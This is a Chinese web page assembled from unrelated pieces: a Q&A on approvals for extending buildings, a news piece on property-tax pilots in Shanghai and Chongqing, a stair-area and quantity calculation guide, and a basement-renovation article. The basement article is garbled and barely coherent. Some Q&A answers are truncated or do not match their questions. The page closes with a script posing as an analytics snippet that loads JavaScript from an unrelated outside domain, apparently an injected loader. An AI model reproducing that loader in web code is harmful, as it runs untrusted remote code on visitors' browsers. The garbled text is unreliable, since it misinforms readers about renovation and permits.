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章和玉
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问我想问楼房一般能自主扩建吗
答当然不行啦,加建什么的一定要审批,不然就乱套了,广州如果这么干的话,满大街都是不合规的违建房子,城市规划都走不下去了。
问楼房一般可以扩建吗?防水防潮需要重新做一遍吗?
答当然要办了,大哥楼房也占地呀,没有合法的土地使用权房建房能可法吗,商品住宅办土地使用证费用一般不超过50元。没多少钱还是办了吧
问房屋扩建手续需要哪些有哪位知道吗?
答房屋扩建手续如下: 1、用地手续,交地、场地平整,委托定桩,项目征地及建设用地预审,用地会审及政府征地批复 2、办理建设用地规划许可证
问房屋改造扩建如何变更登记?
答以下是需要的资料; 1.《房屋变更登记申请书》; 2.《建设工程规划许可证》; 3.《建设用地规划许可证》; 4.《房屋所有权证》; 5.《地使用
房产税试点扩容 促进楼市健康发展
近期,股票、大宗商品期货等投资市场的表现都不稳定,因此,许多人将目光转向了房地产市场。去年,以深圳为代表的一线城市楼市表现亮眼,在需求的刺激下催生出了新一波的上涨格局,而其他城市的表现则让人担忧,尤其是在高库存的压力下。这时候,不少行业内人士推测,房地产税试点有望扩容。首批房产税试点城市2011年,上海、重庆开始试点房产税,随后的几年里,房产税扩容的消息一直不断,但是都没有被大家证实。目前,上海与重庆实施的房产税政策不太相同。重庆的房产税政策主要指向于中高档住宅与投资二套房等,征收的费率为0.5%-1.2%。重庆房产税征收覆盖地区为主城九区,根据房屋交易价格征收,如果征收房产的产权人未成年,那么其监护人将承担税费。房产税的计算方式是房屋建筑面积减去免征税面积之后,将得到的数值与征收费率相乘。上海房产税的征收范围则包括新购房屋的二套房、非本市户口的购房等,征收的费率为0.6%,对于房屋成交价格低于市场均价2倍的征收费率为0.4%。当房屋产权发生转移时,房屋产权人必须先缴清税款,再转移房屋产权。2016年楼市新行情今年,各地楼市的分化进一步加剧,一方面一二线城市房价稳步上升,一方面三四线城市房价逐步下跌。面临高库存与房地产市场健康发展的问题,政府在经济下行压力下,打好房地产这张牌似乎成为了大家关注的焦点,这对于房地产市场的新格局变化有深远影响。近几年,房地产市场在经历一波火热的行情之后,迎来了新拐点。房地产去年,不动产登记暂行条例发布,让人引发了关于房产税的猜想,一只靴子已经落地,另外一只靴子还会远吗?房产税的开征可能会引发抛售潮,从而影响房地产市场去库存政策的实施,但是从另一方面来看,房产税对于房地产市场的长期健康发展具有重要意义。总体来说,房产税的征收可以抑制各地房价快速上涨的势头,让大家对于房地产的投资更加理性,避免各地出现房屋空置率过高、个人利用职权占用房屋等问题。但是,房产税试点扩容不会使得各地房价下跌。
楼梯怎么算面积?自建房之前可看看它的工程量
自己有土地而建造房屋的人有很多,特别是在农村、城镇、城乡村等等的地方,你可以见到许许多多的自建房。自建房大多是会安排几层,而不是一层的平房,几层楼房需要用楼梯来斜街,而楼梯的大小、占地面积也是建造之前就要确定好,不是等房屋建造开始了再去规划楼梯,不然后果很严重。那么,楼梯怎么算面积?你可以看看具体的计算方法。楼梯怎么算面积室外的楼梯有永远性顶盖的室外的楼梯,应按建筑物自然层的水平投影的面积的1/2来进行计算。无永远性顶盖的,或不能完全遮盖楼梯的雨篷,则上层的楼梯不计算面积,但上层楼梯可视作下层楼梯的,永远性顶盖下层楼梯应计算面积(即少算一层)。这儿室外楼梯指的是挂在建筑物外的,除了楼梯梯段的本身和扶手的栏杆外,无其他维护的墙体。两层楼的楼梯的计算方法你是要买房计算建筑的面积吧?两层楼的楼梯只有一层,即从第1层上第2层的那部,但计算建筑的面积应按自然层来进行计算的,也就是楼梯间的面积*2.这个是室内的楼梯间;如果是室外的楼梯,则要看有没有顶盖了,有就算一半,没有就不算;另一种室内的是现在的跃层建筑,在客厅里有一部上二层的楼梯,这样的话还是和计算室内面积一样,把楼梯的投影面积并入到二层的部分;如果楼梯延伸出的长度大于二层所留上人空间,那么多出的部分不计算了;总之一句话,按外墙的结构外边线计算建筑的面积;各层的累加.楼梯工程量的计算方法1、楼梯的工程量⑴、现浇楼梯的面积;⑵、楼梯的实际体积;⑶、楼梯的栏板、栏杆;⑷楼梯装修:楼梯侧面装修;楼梯底面的装修。⑸楼梯的模板。2、楼梯工程量的计算方法⑴楼梯的水平投影的面积现浇混凝土的楼梯按设计的图示尺寸以水平投影的面积计算。不扣除宽度小于500mm的楼梯井,伸入墙内的部分不计算。①楼梯的水平投影的面积包括踏步、斜梁、休息的平台、平台梁以及楼梯与楼板连接的梁(楼梯与楼板的划分以楼梯梁的外侧面为分界)。②当整体楼梯与现浇楼板无梯梁连接的时候,以楼梯的较后一个踏步的边缘加300mm为界。⑵楼梯的实际体积(部分地区)分别计算楼梯的踏步、楼梯板、休息平台砼的体积。楼梯的体积=踏步的体积+梯板的体积①踏步的体积=三角形的面积(1/2*踏步宽度*踏步高度)*梯板的净宽*踏宽数。其中:踏步的个数=踏的宽数+1;踏的宽数=楼梯的净长/踏步的宽度(楼梯的净长:等于踏步段的水平投影的净长,即扣减(墙)后的长度);踏步的高度=楼梯的高度/(踏步个数+1);梯板的净宽=楼梯宽度扣减墙后的宽度。②梯板的体积=梯板的净宽*楼梯的斜长*梯板的厚度。其中:楼梯的斜长=K*楼梯水平投影的长度(楼梯水平投影的长度=楼梯的净长;K=[SQRT(踏步宽度^2+踏步高度^2)]/踏步的宽度)③休息平台的体积:计算的同板。如果休息平台与墙相交,扣除与墙相交部分的体积⑶楼梯的栏板、栏杆①栏板按面积或者体积的计算栏板的体积=栏板的面积×栏板的厚度计算栏板的面积=栏板的长度×栏板的高度计算栏板长度是楼梯的实际的长度,即斜长度②栏杆按长度或者吨位进行的计算栏杆长度是按照楼梯的实际长度(即斜长度)进行计算的。⑷楼梯的装修:楼梯侧面的装修;楼梯底面的装修。①楼梯装饰按设计图示的尺寸以楼梯(包括踏步、休息平台及500mm以内的楼梯井)水平投影面积计算。楼梯与楼地面相连时,算至梯口梁内侧边沿;无梯口梁者,算至最上一层踏步的边沿加300mm。②楼梯侧面的装修=踏步侧面的面积+梯板的侧面积其中:踏步侧面的面积=1/2*踏步的宽度*踏步高度*踏步的个数;梯板的侧面积=楼梯的斜长*梯板的厚度。③楼梯底面的装修=楼梯底部的面积⑸楼梯的模板=楼梯的侧模+楼梯的底模;计算同装修的面积。楼梯怎么算面积?楼梯计算面积的公式等都介绍到大家了,但实际上计算的时候面临到的情况又会完全不同,因此在计算楼梯面积的时候应该要找专业的建筑人才来计算,不是自己随意算一算然后建造就可以了,它还需要考虑到承重、比例、安全性等等方面的内容,并不是由人们所想的那么简单,希望每一个建造房屋自己入住的人都能清楚。
地下室改造扩建的技巧以及注意事项
大部分家庭现在都配备了地下,可以使物品存放,很多家庭都是当做储存室,那么地下室改造扩建如何施工呢?你如何处理地下室的水分?让我们一起来看看小编吧。一、地下室改造扩建1、确认和装饰墙面在监督的结构装置完成搬送动作,侧遵守地下建筑图纸如果检查不满意,在纠正。2、地下室改造扩建,地下设施的安装工具必须提前进入现场,以避免地下室施工与重复施工之间的冲突。地下室使雨水不会出现应考虑在入口处地下的过程。3、地下室改造扩建,以防止在地下室造成损害的地下室的墙,潮湿和霉菌抗雨水渗漏,要好的装饰材料,以及需要选择注意地下室防水工作的外壁上。由于地下室上方有大量管道,因此您需要考虑地下室高度是否符合施工过程中的设计要求。二、地下室改造扩建-注意事项1、地下室防潮是第一次更新是第一个问题将得到解决,所以装饰材料,如防水效果,石膏板吊顶砖,墙壁纸的选择,选择这种材料的天花板地下室防潮效果通常好东西要好得多。2、在与照明地下室的门下来的任何方式,因为窗户,灯具是一个问题,这不仅是应放置在一个玻璃,它可以在地下室安装灯,以便选择亮度灯,然后地下室的灯光增加。 3、地下室也大大需要购买一些和充满活力的绿色植物,可以改善地下室,装修不通风,排风扇的位置,要经常通风时间要注意通风的理想位置。 4、您的家具至少2.5米的地下一层和要求后地下室的高度,否则会有压抑感。最终,装修的高度仍然是比较低的,地下室通常要,窗户,采光良好就会自然和舒适。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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